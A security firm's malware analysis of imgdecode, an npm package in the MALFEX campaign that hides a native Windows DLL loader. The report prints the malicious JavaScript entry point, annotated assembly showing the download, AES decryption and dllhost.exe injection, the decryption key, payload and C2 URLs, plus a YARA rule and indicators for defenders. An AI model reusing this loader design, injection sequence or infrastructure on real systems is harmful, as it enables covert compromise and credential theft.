---
title: "MALFEX Moves Its npm Loader into a Native Windows DLL"
description: "The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe."
url: "https://safedep.io/blog/malfex-imgdecode-npm-native-addon-loader"
author: "SafeDep Team"
published: "2026-10-13"
---

# MALFEX Moves Its npm Loader into a Native Windows DLL

The npm package `imgdecode` hides a malicious loader in a compiled Node.js addon.
Its nine-line JavaScript file loads a Windows dynamic-link library (DLL).
When a Node.js program calls `require('imgdecode')` from a Windows console, the DLL attempts to download
encrypted shellcode from GitHub. It decrypts the response and injects the result into a new `dllhost.exe`
process. This code does not need an install script. On 2026-10-13, the package was still available on npm.

`imgdecode` is part of MALFEX, a malicious npm campaign that Checkmarx, CloudSEK, and other
researchers disclosed in early October 2026. Those reports describe a chain of JavaScript packages.
They do not name `imgdecode`. SafeDep found that the operator replaced each removed JavaScript
loader with a new package, and then moved the loader logic into a native Node.js addon. The operator
published version 1.0.3 on 2026-10-11, six days after the Checkmarx report. A related payload
chain leads to the MALFEX Windows stealer and remote access tool (RAT). SafeDep did not recover
`banner.jpg`, so the native loader's link to that payload remains an inference.

## Summary

- **Package:** `pkg:npm/imgdecode`, versions 1.0.0 to 1.0.3, publisher `malfexteste8`.
- **Trigger:** `require('imgdecode')` loads `prebuilds/win32-x64/imgdecode.node`. From version 1.0.1,
  the addon runs the loader in the N-API module initialization function. No install script is necessary.
- **Condition:** the addon runs only when standard output is an interactive Windows console. CI jobs
  and sandboxes with redirected output do not trigger it.
- **Payload delivery:** the addon downloads `hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg`,
  decrypts it with AES-256-CBC, and injects the result into a suspended `dllhost.exe`.
- **Related payload:** the recovered `banner.png` contains a Go downloader for
  `hxxp://104.234.65[.]75:700/setup.exe`, a 71.5 MB MALFEX stealer and RAT. The server still served
  this file on 2026-10-13. SafeDep has not confirmed that `banner.jpg` delivers the same payload.
- **Response:** incident responders should treat a Windows workstation that loaded `imgdecode` as potentially compromised.

## Campaign background

MALFEX is an npm campaign that targets Windows developers. Public reports link it to a
Portuguese-speaking operator. Checkmarx published its analysis on 2026-10-05. CloudSEK, Orca
Security, and The Hacker News also reported on the campaign. The reports list eight packages, an Overlord RAT branch, and
a "stealer chain" with three roles:

1. **Fetch.** `cdn-img-fetch` downloads an encrypted blob from the GitHub repository
   `cavecrew/proj`.
2. **Decrypt.** `img-to-native` decrypts the blob and writes an executable to disk.
3. **Run.** `native-runner` starts the executable.

The fetch package, the GitHub staging location, and the stage-2 downloader in this analysis are the
same as in the Checkmarx report. The SHA-256 hash of the stage-2 downloader that SafeDep recovered,
`2f268ca7…`, is in the Checkmarx indicator list. This connects `imgdecode` to MALFEX with high
confidence.

## Timeline of the replacement packages

npm removed `native-runner` and `img-to-native` on 2026-09-28. The operator published replacements
within two days. Each replacement did the same job as the removed package, with a different method.

| Date (UTC)       | Event                                                                        |
| ---------------- | ---------------------------------------------------------------------------- |
| 2026-09-26       | `cdn-img-fetch`, `img-to-native`, and `native-runner` 1.0.0 published        |
| 2026-09-28 16:06 | npm removes `native-runner` and `img-to-native`                              |
| 2026-09-30 03:29 | `imgbundle` 1.0.0 published (decrypt role, replaces `img-to-native`)         |
| 2026-09-30 03:37 | `runhelper` 1.0.0 published (run role, executes shellcode through `koffi`)   |
| 2026-09-30 16:13 | `runhelper` unpublished                                                      |
| 2026-09-30 22:32 | `imgdecode` 1.0.0 published (run role, native addon)                         |
| 2026-09-30 23:07 | `imgdecode` 1.0.1 published (addon does fetch, decrypt, and run)             |
| 2026-10-01 17:48 | `imgdecode` 1.0.2 published                                                  |
| 2026-10-05       | Checkmarx publishes the MALFEX analysis                                      |
| 2026-10-07 23:06 | npm removes `imgbundle`                                                      |
| 2026-10-08 13:03 | npm removes `cdn-img-fetch`                                                  |
| 2026-10-11 22:09 | `imgdecode` 1.0.3 published (same DLL as 1.0.2, `imgbundle` dependency gone) |

The operator used three packages to run the payload. `native-runner` started an executable from disk.
The Open Source Vulnerabilities (OSV) database describes how `runhelper` used the `koffi` foreign function interface (FFI).
It called `VirtualAlloc`, `RtlMoveMemory`, and `CreateThread` from JavaScript.
Six hours after `runhelper` was unpublished, the operator published `imgdecode` with a compiled DLL to run the shellcode.
From version 1.0.1, the DLL also downloads and decrypts the payload.
Versions 1.0.1 and 1.0.2 still call `require('imgbundle')` before loading the DLL. Version 1.0.3 removes
that dependency and needs no other MALFEX package.

## Package entry point

The current `index.js` loads the native addon and exports a function that returns `null`:

```js title="imgdecode 1.0.3 / index.js"
try {
  require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
  try { require('./build/Release/imgdecode.node'); } catch (_) {}
}

function load() { return null; }

module.exports = { load };
```

The archived manifest has no install script, and the tarball has no `binding.gyp` file:

```json title="imgdecode 1.0.3 / package.json"
{
  "name": "imgdecode",
  "version": "1.0.3",
  "description": "Native image buffer decoder for Node.js build pipelines",
  "main": "index.js",
  "keywords": ["image", "decode", "buffer", "native", "addon", "pipeline"],
  "author": "build-tools-community",
  "license": "MIT",
  "files": [
    "index.js",
    "readme.md",
    "prebuilds"
  ]
}
```

The README shows an `exec()` function that spawns a program. Version 1.0.3 does not export that
function. The `runhelper` OSV record describes the same misleading documentation.

Version 1.0.0 used a different design. The JavaScript waited for `imgbundle` to write a decrypted
file, then passed the bytes to the addon through a `decode()` export. It also checked
`process.stdout.isTTY`, which is the JavaScript form of the console check in the later DLL.

```js title="imgdecode 1.0.0 / index.js (excerpt)"
require('imgbundle');
const fs = require('fs');
const path = require('path');
const { getAsset } = require('imgbundle');

let native = null;
try {
  native = require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
  try { native = require('./build/Release/imgdecode.node'); } catch (_) {}
}

function load() {
  const asset = getAsset();
  if (!asset || !fs.existsSync(asset)) return null;
  const buf = fs.readFileSync(asset);
  if (native && native.decode) native.decode(buf);
  return { path: asset, size: buf.length };
}

if (process.stdout && process.stdout.isTTY) {
  try {
    if (!load()) {
      const dir = path.join(path.dirname(require.resolve('cdn-img-fetch')), '.runtime');
      if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
      const w = fs.watch(dir, () => {
        if (load()) try { w.close(); } catch (_) {}
      });
    }
  } catch (_) {}
}
```

## Installation and execution

The saved npm registry metadata lists `install: node-gyp rebuild`. The archived `package.json`
omits that script, and the archive has no `binding.gyp`. SafeDep has not confirmed how npm handles
this metadata mismatch during installation.

The malicious code does not need a build step. The package contains the prebuilt DLL and loads it
with `require()`. If the package is present, controls that only block install scripts do not stop
this execution path.

## Native addon

The addon is a 64-bit Microsoft Visual C++ (MSVC) DLL that uses `node-addon-api`. All three builds
have the same program database (PDB) path:

```text
C:\Users\Administrator\Desktop\npm\imgdecode\build\Release\imgdecode.pdb
```

The DLL exports `napi_register_module_v1`. Node.js calls this function when it loads the module. The
function calls the malicious routine before it returns the module exports. This analysis uses
version 1.0.3 (`a5394626…`), which is the same file as 1.0.2.

### Console check

The routine first gets the standard output handle and calls `GetConsoleMode`. If the call fails, the
routine returns without running the loader. `GetConsoleMode` fails when output goes to a pipe or a file.
CI runners, automated sandboxes, and build tools often redirect output this way.
Inference: this check favors execution from a developer's terminal.

```asm title="imgdecode.node 1.0.3 / console check and URL decoding (annotated excerpt)"
; imgdecode.node 1.0.3, fcn.180009450 (called from the N-API module init)
0x18000948b  mov   ecx, 0xfffffff5                 ; STD_OUTPUT_HANDLE (-11)
0x180009490  call  [KERNEL32!GetStdHandle]
0x18000949e  lea   rcx, [rax - 1]
0x1800094a2  cmp   rcx, 0xfffffffffffffffd         ; NULL or INVALID_HANDLE_VALUE?
0x1800094a6  ja    0x180009799                     ; yes: return, do nothing
0x1800094b4  call  [KERNEL32!GetConsoleMode]
0x1800094ba  test  eax, eax
0x1800094bc  je    0x180009799                     ; stdout is not a console: return
; build the URL: 16-byte blocks XOR 0x37
0x1800094cf  movdqa xmm2, [0x18008af90]            ; 16 x 0x37
0x1800094db  xorps  xmm0, [0x18008b070]            ; "https://raw.gith"
0x1800094eb  xorps  xmm1, [0x18008b030]            ; "ubusercontent.co"
0x1800094fb  xorps  xmm0, [0x18008af70]            ; "m/cavecrew/proj/"
0x180009510  xor   byte [rbp + rax - 0x70], 0x37   ; tail: "main/banner.jpg"
0x18000951e  movdqa xmm0, [0x18008af30]
0x18000952a  xorps  xmm0, xmm2                     ; "nif-runtime-2027"
0x18000954e  lea   rcx, "Mozilla/5.0"
0x180009555  call  [WININET!InternetOpenA]
0x18000956c  mov   dword [var_18h], 0x80800000     ; INTERNET_FLAG_RELOAD | NO_CACHE_WRITE
0x180009581  call  [WININET!InternetOpenUrlA]
```

### Encoded strings

The DLL encodes strings with a one-byte XOR key, `0x37`. It stores long strings as 16-byte blocks in `.rdata`.
It decodes those blocks with `xorps` against a block of `0x37` bytes.
It builds short strings on the stack and decodes them in a loop. The decoded values are:

| Purpose            | Decoded value                                                       |
| ------------------ | ------------------------------------------------------------------- |
| Payload URL        | `hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg` |
| Key passphrase     | `nif-runtime-2027`                                                  |
| Module             | `kernel32.dll`                                                      |
| Injection target   | `\dllhost.exe` (added to the system directory)                      |
| Resolved functions | `CreateProcessW`, `VirtualAllocEx`, `WriteProcessMemory`,           |
|                    | `VirtualProtectEx`, `CreateRemoteThread`, `ResumeThread`,           |
|                    | `TerminateProcess`, `GetSystemDirectoryW`, `CloseHandle`, `Sleep`   |

The DLL resolves the main functions used for process injection at runtime with `GetProcAddress`.
The import table includes WinINet, `bcrypt.dll`, and `KERNEL32.dll` functions such as
`GetConsoleMode`, `VirtualProtect`, and `TerminateProcess`.

### Download and decryption

The DLL downloads the payload with WinINet and the user agent `Mozilla/5.0`.
It keeps the response in memory. It decrypts the response with the Windows Cryptography API: Next Generation (CNG):

- The AES-256 key is the SHA-256 hash of `nif-runtime-2027`.
- The mode is cipher block chaining (CBC).
- The first 16 bytes of the response are the initialization vector (IV). The remaining bytes are
  the ciphertext.

```asm title="imgdecode.node 1.0.3 / decryption (annotated excerpt)"
; imgdecode.node 1.0.3, fcn.1800090d0
0x180009107  cmp   r9d, 0x20                       ; body must be longer than 32 bytes
0x180009114  lea   rdx, u"SHA256"
0x18000913c  call  BCryptOpenAlgorithmProvider
0x180009180  call  BCryptHashData                  ; SHA-256("nif-runtime-2027")
0x18000919e  call  BCryptFinishHash                ; 32-byte AES key
0x1800091ae  lea   rdx, u"AES"
0x1800091cd  lea   r8, u"ChainingModeCBC"
0x1800091e6  call  BCryptSetProperty
0x180009217  call  BCryptGenerateSymmetricKey
0x180009230  lea   rdx, [r13 + 0x10]               ; ciphertext = body[16:]
0x180009238  lea   ebx, [r14 - 0x10]               ; ciphertext size = body size - 16 (IV = body[0:16])
0x180009279  call  BCryptDecrypt
```

The `imgbundle` and `img-to-native` OSV records give the same passphrase. Checkmarx and CloudSEK
give the `img-to-native` key as `malfexteam2027`. SafeDep decrypted the recovered payload only with
`nif-runtime-2027`.

### Image check

After decryption, the DLL checks the first bytes of the plaintext. If they match a JPEG or PNG
signature, the DLL stops. Inference: the operator could turn the loader off by serving encrypted
content that decrypts to an image. Serving an ordinary image would instead generally cause decryption
to fail before this check.

```asm title="imgdecode.node 1.0.3 / image check and dispatch (annotated excerpt)"
; imgdecode.node 1.0.3, fcn.180009450, after decryption
0x18000966e  cmp   byte [rbx], 0xff
0x180009673  cmp   byte [rbx + 1], 0xd8            ; FF D8 = JPEG
0x180009677  je    0x180009719                     ; real image: free buffer, stop
0x180009683  cmp   byte [rbx], 0x89
0x180009688  cmp   byte [rbx + 1], 0x50
0x18000968e  cmp   byte [rbx + 2], 0x4e
0x180009694  cmp   byte [rbx + 3], 0x47            ; 89 'P' 'N' 'G' = PNG
0x180009698  je    0x180009719                     ; real image: free buffer, stop
0x1800096ce  lea   rcx, "kernel32.dll"             ; decoded with XOR 0x37
0x1800096d3  call  [KERNEL32!GetModuleHandleA]
0x1800096fd  call  fcn.180009b50                   ; inject into dllhost.exe
0x180009704  jne   0x180009714
0x18000970f  call  fcn.1800098e0                   ; fallback: run in node.exe
```

### Injection into dllhost.exe

For any other content, the DLL starts `%SystemRoot%\System32\dllhost.exe` in a suspended state, with
no window and no console. It then:

1. Allocates read-write memory in the new process with `VirtualAllocEx`.
2. Copies the decrypted bytes with `WriteProcessMemory` and checks that it wrote all bytes.
3. Changes the memory protection to execute-read with `VirtualProtectEx`.
4. Starts a remote thread at the first byte of the buffer with `CreateRemoteThread`.
5. Closes the handles and sleeps for 800 milliseconds.

The main thread of `dllhost.exe` stays suspended. The loader starts only the injected thread.
If the injector reports failure, a fallback routine attempts to run the same bytes inside the Node.js
process with `VirtualAlloc`, `RtlMoveMemory`, `VirtualProtect`, and `CreateThread`.
The injector does not check the return value of `VirtualProtectEx` before calling `CreateRemoteThread`.

```asm title="imgdecode.node 1.0.3 / process injection (annotated excerpt)"
; imgdecode.node 1.0.3, fcn.180009b50
; API pointers come from GetProcAddress. Names are XOR 0x37 stack strings.
0x180009e27  call  rsi                             ; GetSystemDirectoryW(buf, 260)
0x180009e3d  mov   dword [var_10h], 0x5b5b536b     ; XOR 0x37 -> "\dllhost.exe"
0x180009e60  xor   byte [rbp + rax + 0x10], 0x37
0x180009efe  mov   dword [var_sp_28h], 0x800020c   ; CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP
                                                   ; | DETACHED_PROCESS | CREATE_SUSPENDED
0x180009f10  mov   dword [var_60h_2], 0x68         ; STARTUPINFOW.cb
0x180009f1b  mov   dword [var_24h_2], 1            ; STARTF_USESHOWWINDOW, wShowWindow = SW_HIDE
0x180009f2f  call  [CreateProcessW]
0x180009f3c  mov   r9d, 0x3000                     ; MEM_COMMIT | MEM_RESERVE
0x180009f45  mov   dword [var_20h_2], 4            ; PAGE_READWRITE
0x180009f4f  call  r12                             ; VirtualAllocEx
0x180009fc3  call  r13                             ; WriteProcessMemory
0x180009fca  cmp   qword [var_sp_78h], r14         ; all bytes written?
0x180009fdb  mov   r9d, 0x20                       ; PAGE_EXECUTE_READ
0x180009ff1  call  [VirtualProtectEx]
0x18000a010  call  [CreateRemoteThread]            ; start address = remote buffer
0x18000a01f  call  rbx                             ; CloseHandle (x3)
0x18000a034  mov   ecx, 0x320
0x18000a039  call  r15                             ; Sleep(800)
```

The thread starts at offset zero of the buffer. The decrypted payload must therefore start with executable
shellcode, rather than an ordinary Portable Executable (PE) file header.
The `runhelper` OSV record describes the same requirement for its `rt.jpg` file.

## Recovering the payload chain

### The first download stage

At the start of the analysis, SafeDep could no longer access the GitHub account `cavecrew`.
Requests for `banner.jpg` returned HTTP 404.
The Internet Archive has a capture of the sibling file `banner.png` from 2026-10-06. The JavaScript
stage of the chain used this file. It is a 1x1 PNG image followed by a 4-byte big-endian length
and about 8 MB of base64 text. The text decrypts with the same key and the same IV layout. The
script below supports both file formats:

```python title="SafeDep decryption script (reproduction)"
# SafeDep reproduction of the MALFEX payload decryption
import base64, hashlib, struct, sys
from Crypto.Cipher import AES

KEY = hashlib.sha256(b'nif-runtime-2027').digest()

data = open(sys.argv[1], 'rb').read()
if data[:8] == b'\x89PNG\r\n\x1a\n':
    # JS-era carrier: PNG, then u32 big-endian length, then base64 text
    end = data.find(b'IEND') + 8
    size = struct.unpack('>I', data[end:end + 4])[0]
    body = base64.b64decode(data[end + 4:end + 4 + size])
else:
    # DLL-era banner.jpg: raw IV || ciphertext
    body = data

iv, ct = body[:16], body[16:]
pt = AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]]  # PKCS#7
open(sys.argv[2], 'wb').write(pt)
```

The plaintext is a 6.17 MB Windows executable, SHA-256 `2f268ca7…`. This is the same file as the
"stealer chain downloader (26 Sep)" in the Checkmarx indicator list. SafeDep did not recover
`banner.jpg`. Inference: the shared GitHub repository and encryption key suggest that `banner.jpg`
may deliver the same downloader. The native loader's next stage remains unconfirmed.

### Stage 2, a Go downloader

The executable is a Go 1.27.1 program with the module name `downloader`. It downloads one file and
runs it:

```text title="Stage 2 / Go build information and key strings"
path	downloader
mod	downloader	(devel)
build	-buildmode=exe
build	-compiler=gc
build	-ldflags="-s -w -H windowsgui"
build	CGO_ENABLED=0
build	GOARCH=amd64
build	GOOS=windows

http://104.234.65.75:700/setup.exe
svc_update.exe
```

### Stage 3, a stealer and remote access tool

On 2026-10-13, `hxxp://104.234.65[.]75:700/setup.exe` still served a 71.5 MB file. The IP address is
in AS265919 (BB Host LTDA) in São Paulo, Brazil. The file is a Node.js 18 application packed with
`pkg`. Its internal name is `movinlike`. The application code is V8 bytecode, so SafeDep analyzed
it from string tables. The packed `.env` file contains the command-and-control (C2) address and a license key:

```text title="Stage 3 / pkg virtual file system"
# C:\snapshot\src-clean\.env (pkg virtual file system)
NPM_API=http://104.234.65.75:7007
NPM_LICENSE=MALFEX-89BEE69BB61967AF1C3B07C9
NPM_RAT=1

# C:\snapshot\src-clean\package.json (excerpt)
  "name": "movinlike",
  "version": "1.0.0",
  "description": "movinlike",
```

Inference: the license key may indicate a malware builder or licensing system. This build (`8d50cb1b…`) is not the
`movinlike` sample in the Checkmarx report (`c9c374af…`). SafeDep collected this different build after
disclosure, but its build date is unknown. Most identifiers in the code are Portuguese, for example
`senhas` (passwords), `carteiras` (wallets), `areia` (sandbox), and `exfiltra`.
The following capabilities are inferences from string tables and embedded scripts. SafeDep did not
recover the bytecode control flow or confirm successful execution:

- **Anti-analysis.** Checks for virtual machines, sandbox user names, and analysis tools such as
  `x64dbg`, `procmon`, and `wireshark`.
- **Browser data.** Targets Chromium passwords and cookies. Code for recovering the Chrome app-bound
  encryption key includes a SYSTEM scheduled task that runs PowerShell and a call to the Chrome
  `IElevator` Component Object Model (COM) interface. The evidence does not establish which path runs
  or whether it succeeds with the available privileges.
- **Discord.** Extracts tokens and patches `discord_desktop_core/index.js` to send login, password
  change, and email change data to a webhook.
- **Wallets and games.** Copies data from browser wallet extensions, desktop wallets,
  Steam, Epic Games, Riot, Battle.net, Minecraft, Ubisoft, and Telegram Desktop.
- **Files.** Collects files with names that match `seed`, `mnemonic`, `wallet`, `secret`, `token`,
  `senha`, and similar words, and files such as `.kdbx`, `.pem`, `.ppk`, and `.env`.
- **RAT.** Connects to `ws://104.234.65[.]75:7007/agent?license=…` and accepts commands for shell
  execution, file transfer, process control, clipboard access, screenshots, and mouse and keyboard
  input.
- **Persistence.** Copies itself to `%APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe` and
  adds a Run key and a scheduled task named `MicrosoftEdgeUpdateService`.
- **Anti-forensics.** Edits records in Security and Sysmon event log (EVTX) files and recalculates their checksums.
  It also deletes the PowerShell history file.

The upload strings specify `malfex.zip` and `/about/sendRouter` on port 7007.

## Exposure

SafeDep searched public GitHub code, lock files, and commits for `imgdecode`, `imgbundle`, and the
other MALFEX package names. The searches found no public project that declares them as dependencies.
The `deps.dev` results showed no dependent packages. npm counted 929 downloads of `imgdecode` from 2026-09-30 to 2026-10-12.
Most downloads occurred on release days. Registry mirrors and scanners could explain those
spikes, but the counts do not distinguish automated downloads from users. The number of affected
workstations is unknown, and public searches do not cover private consumers.

## Detection

A precompiled `.node` file alone does not indicate malware.
These signals can help identify this loader when they occur together:

- A `prebuilds/` DLL in a package that has no native source and no `binding.gyp` file.
- A native addon that imports WinINet or WinHTTP and `bcrypt.dll`, but has no image codec code.
- `node.exe` as the parent process of `dllhost.exe`, with no `/Processid:` argument.
- A `node.exe` connection to `raw.githubusercontent.com` followed by a `dllhost.exe` connection to an
  unknown host.

The YARA rule below matches all three `imgdecode` DLL builds. It does not match the stage-2 and
stage-3 files or the legitimate `better-sqlite3`, `koffi`, and `rookie-cookies` addons that SafeDep
tested.

```text title="malfex_imgdecode.yar"
rule MALFEX_imgdecode_native_addon
{
    meta:
        description = "MALFEX imgdecode Node.js native addon that downloads, decrypts, and injects shellcode"
        author = "SafeDep"
        date = "2026-10-13"
        reference = "pkg:npm/imgdecode"
    strings:
        // "nif-runtime-2027" XOR 0x37
        $key_x37 = { 59 5E 51 1A 45 42 59 43 5E 5A 52 1A 05 07 05 00 }
        // "https://raw.gith" XOR 0x37
        $url_x37 = { 5F 43 43 47 44 0D 18 18 45 56 40 19 50 5E 43 5F }
        // "WriteProcessMemo" XOR 0x37
        $wpm_x37 = { 60 45 5E 43 52 67 45 58 54 52 44 44 7A 52 5A 58 }
        // "CreateRemoteThre" XOR 0x37
        $crt_x37 = { 74 45 52 56 43 52 65 52 5A 58 43 52 63 5F 45 52 }
        $napi = "napi_register_module_v1" ascii
        $pdb = "\\npm\\imgdecode\\build\\Release\\imgdecode.pdb" ascii
    condition:
        uint16(0) == 0x5A4D and $napi and ($pdb or 2 of ($key_x37, $url_x37, $wpm_x37, $crt_x37))
}
```

## Indicators of compromise

| Indicator                                                           | Type                             |
| ------------------------------------------------------------------- | -------------------------------- |
| `imgdecode` 1.0.0, 1.0.1, 1.0.2, 1.0.3                              | npm package                      |
| `imgbundle` 1.0.0 to 1.0.2, `runhelper` 1.0.0                       | npm packages (removed)           |
| `malfexteste8`, `trelicas.flexionar_4q@icloud[.]com`                | npm publisher                    |
| `hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg` | Shellcode download (AES-256-CBC) |
| `hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.png` | JavaScript-stage carrier         |
| `hxxp://104.234.65[.]75:700/setup.exe`                              | Stage 3 download                 |
| `104.234.65[.]75:7007`, paths `/about/sendRouter`, `/about/discord` | Stealer upload API               |
| `ws://104.234.65[.]75:7007/agent`                                   | RAT WebSocket                    |
| `MALFEX-89BEE69BB61967AF1C3B07C9`                                   | Stealer license key              |
| `nif-runtime-2027`                                                  | AES key passphrase (SHA-256)     |
| `%TEMP%\svc_update.exe`                                             | Stage 3 file name                |
| `%APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe`            | Persistence copy                 |
| `MicrosoftEdgeUpdateService`                                        | Run key value and scheduled task |

| SHA-256                                                            | File                                 |
| ------------------------------------------------------------------ | ------------------------------------ |
| `d7b2f6d7da81301e7f76d6812d78f4a453439141d419831522ebf7cf5bf1c714` | `imgdecode.node` (1.0.0)             |
| `54d995c5be97408e96db72ecc27af1dd65716f96371df085c4ce681dca623d85` | `imgdecode.node` (1.0.1)             |
| `a53946269ffcd25c7fe1fad358c189f144dcca4d736f2b5a8ebc517a8d929dd1` | `imgdecode.node` (1.0.2, 1.0.3)      |
| `4f4f7d64139bde6d458a061c7fb7dd247f70f60a1ab47d87fd3634656586c106` | `banner.png` (archived carrier)      |
| `2f268ca76ab27971d8b16bd4ded26e1f9cd3d4460b894af2d4bdf89f0ab7ec4b` | Stage 2 Go downloader                |
| `8d50cb1ba0c2a16a673a2d08a8fb5c45bd8755c95c30ded98a84c74bfe52c9e6` | Stage 3 `setup.exe` (MALFEX stealer) |

## Response

Incident responders should treat a Windows workstation that loaded `imgdecode`, `imgbundle`, `runhelper`,
or another MALFEX package as potentially compromised.

1. Responders should isolate the workstation and collect memory before a reboot. The native loader runs
   shellcode in memory.
2. Responders should check for the persistence entries listed above and for `node.exe` child processes named `dllhost.exe`.
3. Account owners should rotate credentials that the workstation stored or used. These include browser passwords,
   session cookies, Discord tokens, cloud keys, SSH keys, and npm and GitHub tokens.
4. Wallet owners should transfer funds to new wallets if the workstation held their seed phrases.
5. Responders should compare local Security and Sysmon event logs with external logs.
   The recovered stealer contains evidence of log-tampering capability, so local logs may be incomplete.

## References

- Checkmarx Zero, MALFEX npm malware campaign analysis (2026-10-05):
  https://checkmarx.com/zero-post/malfex-npm-malware-campaign-three-payloads-and-an-adversary-that-signs-their-work/
- OSV, MAL-2026-17330 (`imgbundle`): https://osv.dev/vulnerability/MAL-2026-17330
- OSV, MAL-2026-17332 (`runhelper`): https://osv.dev/vulnerability/MAL-2026-17332
- OSV, MAL-2026-17320 (`cdn-img-fetch`): https://osv.dev/vulnerability/MAL-2026-17320
- OSV, MAL-2026-17216 (`img-to-native`): https://osv.dev/vulnerability/MAL-2026-17216
- OSV, MAL-2026-17218 (`native-runner`): https://osv.dev/vulnerability/MAL-2026-17218
- npm registry, `imgdecode`: https://www.npmjs.com/package/imgdecode
- Node.js documentation, "Node-API": https://nodejs.org/api/n-api.html
- Microsoft documentation, "GetConsoleMode function": https://learn.microsoft.com/en-us/windows/console/getconsolemode
